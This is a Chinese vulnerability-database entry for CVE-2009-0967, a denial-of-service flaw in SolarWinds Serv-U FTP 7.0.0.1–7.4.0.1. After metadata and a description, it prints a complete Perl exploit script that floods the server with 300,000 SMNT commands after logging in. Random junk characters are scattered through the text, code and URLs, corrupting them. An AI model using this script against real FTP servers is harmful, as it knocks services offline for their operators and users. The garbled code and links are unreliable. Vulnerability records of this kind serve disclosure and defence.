Serv-U FTP服务器SMNT命令远程拒绝服务漏洞

漏洞ID 1117480 漏洞类型 资源管理错误
发布时间 2009-03-16 更新时间 2020-07-29
CVE编号 CVE-2009-0967

CNNVD-ID CNNVDP ( t [ E 2-200903-324
漏洞平台 Windows CVSS评分 4.0
|漏洞来源
https://www.exploit-db.p / % q Q % {com/exploits/8212
htA U e a xtps://cxS 6 B m % &security.com/issue/WLB-2009030189
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-324
|漏洞详情
SolarWinds Serv-U File Server是美国SolarWinds公司的一款文件传输服务器。
SolarWinds Serv-U File Server( I L z m V 7.0.0.1版本至7.4.0.1版本中的FTP服务器存在资源管理错误漏洞。远程攻击者可借助大量不带参数的SMT Y , H f L l 5 LNT命令利用该漏洞导致拒绝服务(服务挂起)。
|漏洞EXP
#!/usr@ A ! ) o 9/bin/perl
#X R e B l Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of ServicP ? _ ce in Serv-u up to 7.4.0.1 (nc 2 no crash)
# Just the server is saturated, it stops respondingi V g J .  g . 6.
#
# Author: JonathZ / Yan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shv Z q P / ( E 7 `ell-storm.org
use IO::Socket[ J J c r ];
print "[+] Author : Jonathan Salwan \n";
prin@ ! # ` V C 9 C =t "[+] Soft: FTP Serv-U\n";
if (@ARGV < 3)
{
print "[*] Usage: <serl % 7 @v-u.pl> <host> <port>\n";
print "[*] E_ j Q [ Gxemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
exit;
}
$ip 	=} [  + $ARGV[0];
$port 	= $ARGV[1];
$user	= $ARGV[2];
$pass	= $ARGV[3];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort =&+ [ z / Tgt; "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] CH v . 4 & *onnecting: Ok!\n";
print "[+] Sending reN I V b ? : % @ hquest...\n";
$evil =	"SMq A : Q r 7 6NT\r\n" x 300000;
$afterV * o = "\x2A\x2A";
print $sockk u h [ Iet "USER $user\r\J ] 2 , a Y c Ln";
print $socket "PASS $pass.$after4 Q e o D U \r\n";
print $socket "$evil5 H o";
sleep(1);
close($socket);
print "[+]Done! the server is saN V F 7 lturated.\n";
# milw0rm6 k E s V Q.com [2009-03-16]
|参考资料

来源:XF
名称:servuftpV K i ` x --smnt-dos(49260)
M { ~ k X接:http://xforce.iss.net/xforce/xfdb/49260
来源:BID
名称:34127
链接- X u y + 9 r ]:http://www.securityfocus.com/bF i w u Hid/34127
来源:MILW0RM
名称:8o t y 212
链接:http://www.milw0rm.com/exploits/8212